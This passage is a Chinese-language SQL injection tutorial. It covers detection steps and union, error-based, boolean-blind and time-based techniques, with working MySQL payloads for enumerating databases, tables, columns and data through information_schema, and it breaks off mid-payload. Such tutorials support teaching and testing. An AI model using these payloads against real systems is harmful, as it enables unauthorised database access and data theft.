[漏洞篇]SQL注入漏洞详解
介绍
把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以达到攻击的目的。主要是由于应用程序对用户的输入没有进行严格的过滤而造成的。
基础知识
判断注入方式
按照参数类型分为:数字型/字符型
按照注入方式分为:
- 联合注入
- 报错注入
- 延时注入
- 布尔盲注
这里主要介绍常见的几种注入,其他的注入还包括:宽字节注入、Cookie注入等,详细可查看:https://www.freebuf.com/articles/web/339118.html
按照参数类型分:
1. 数字型:引号 - 永真 - 永假
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加引号(单引号/双引号),URL:www.text.com/text.php?id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面无任何差异;
(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
2. 字符型:引号-引号用真/永真注释-引号永假/永假注释
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
因此,在构造payload时通过闭合单引号可以成功执行语句:
测试步骤:
(1) 加引号(单引/双引号):select * from table where name=’admin’’
由于加引号后变成三个单引号(双引号),则无法执行,程序会报错;
(2) 引号用真:’ and ‘1’='1
SELECT * FROM users WHERE id='1' and '1'='1';
这里因为我们添加了永真条件,所以页面不会变化。
这里我们也可以使用注释:比如添加’ and 1 = 1 --+
– 注意,这种注释符后边有一个空格(如果在URL中,空格可以改为+或者%20,因为需要进行编码)SELECT * FROM users WHERE id='1' and 1 =1 -- ' ;
(3) 引号永假:’ and ‘1’ = '2
这里因为我们添加了永假,所以页面会发生变化,不会显示数据。
SELECT * FROM users WHERE id='1' and '1' = '2' ;
判断列数:
?id=1’ order by 4# 报错
?id=1’ order by 3# 没有报错,说明存在3列
爆出数据库:
?id=-1’ union select 1,database(),3–+
?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata#
爆出数据表:
?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘数据库’#
爆出字段:
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘数据表’#
爆出数据值:
?id=-1’ union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名–+
# 拓展一些其他函数(以MySQL为例):
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
多条数据显示函数:
concat()、group_concat()、concat_ws()
按注入方式分:
1. 联合注入(union注入):适用于显示列的注入
这种查询原理是把前面值整成错误的(id=-1’ 或者id=1’ and 1=2 后面加上union语句),这样就会执行union后语句。union联合查询适用于有显示列的注入。
如果页面有反显(随着请求参数不同,页面显示不同,表明可以使用联合注入)
- Order by 判断查询列数(4时错误,3时正确,可得知,当前表有3列 ):
?id=1' and '1'='1' order by 1--+ 页面回显正常
?id=1' and '1'='1' order by 2--+ 页面回显正常
?id=1' and '1'='1' order by 3--+ 页面回显正常
?id=1' and '1'='1' order by 4--+ 出现报错界面
# 可知查询语句主有3列
- Union select xx,xx,xx判断反显列:
?id=1’ and 1=2 union select 1 ,2 ,3 --+
2. 报错注入
通过数据库函数/语法报错,反显数据库敏感信息
- UPDATEXML 是 MySQL 中的一个 XML 函数,用于解析 XML 数据并返回结果。
UPDATEXML(xml_target, xpath_expr, new_xml)
- xml_target:要操作的 XML 文档。
- xpath_expr:一个字符串,表示 XPath 表达式,用于指定要更新的节点。
- new_xml:要替换的新的 XML 内容。
在SQL注入中,不妨把他简化为updatexml(xx,concat(xx),xx),concat函数用来拼接字符,当第二个参数为非xpath格式就会把校验失败的数据爆出来。由于要的只是第二个参数,一三随便写即可
- EXTRACTVALUE 是 MySQL 中的一个函数,用于从 XML 文档中提取指定的值。该函数使用 XPath 表达式从 XML 数据中选择和返回节点的文本内容。
EXTRACTVALUE(xml_frag, xpath_expr)
- xml_frag:包含 XML 数据的字符串。
- xpath_expr:一个字符串,表示 XPath 表达式,用于指定要提取的节点。
在SQL注入中,不妨把他简化为extractvalue(xx,concat(xx)),concat函数用来拼接字符,当第二个参数为非xpath格式 就会把校验失败的数据爆出来。由于要的只是第二个参数,参数一随便写即可。
演示:
3. 布尔盲注
查询数据无反显且页面存在两种状态
布尔盲注常用函数:
database() 显示数据库名称
left(a,b) 从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c) 从位置b开始,截取a字符串的c位
length() 返回字符串的长度
Ascii() 将某个字符转换为ascii值
char() 将ASCII码转换为对应的字符
Left判断
?id=1’ and left(database(),1)=‘s’ --+
?id=1’ and left(database(),2) > ‘sa’ --+
Like语句判断
?id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like ‘e%’ --+
Ascii语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115 --+
4. 延时注入
布尔盲注是进行逻辑判断,适用与注入页面存在两种状态:正常页面/报错页面
时间盲注是进行IF判断联合sleep函数执行,适用于注入页面只存在一种状态
判断注入点:
?id=1’ and sleep(5)–+ //正常休眠
?id=1" and sleep(5)–+ //无休眠
?id=1’) and sleep(5)–+//无休眠
?id=1") and sleep(5)–+//无休眠
?id=1’ and if(length(database())=8,sleep(10),1)–+
- 爆出数据库:
?id=1’ and if(ascii(substr(database(),1,1))=115,1,sleep(10))–+
通过判断服务器没有睡眠,ascii码转换115为s ,那么就得出数据库第一个字符为s,下面就可以依次类推了
substr(database(),N,1)可以通过改变N的值来判断数据的第几个字符是什么 - 爆出数据表:
?id=1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema=“security"limit 0,1),1,1)))=101,sleep(5),1) --+
解释:security的第一张表的第一个字符ascii为101,为字符e
limit 0,1),N,1还是改变N的值,得出第二个字符
再判断字符(ascii判断)
?id=1” and if(ascii(substr(database(),1,1))>115,1,sleep(3)) --+
(left语句判断)
?id=1’ and if(left(database(),1)=‘s’,sleep(10),1) --+
?id=1’ and if(left(database(),2)=‘sa’,sleep(10),1) --+
Substring函数判断
type=if(substring((select table_name from information_sc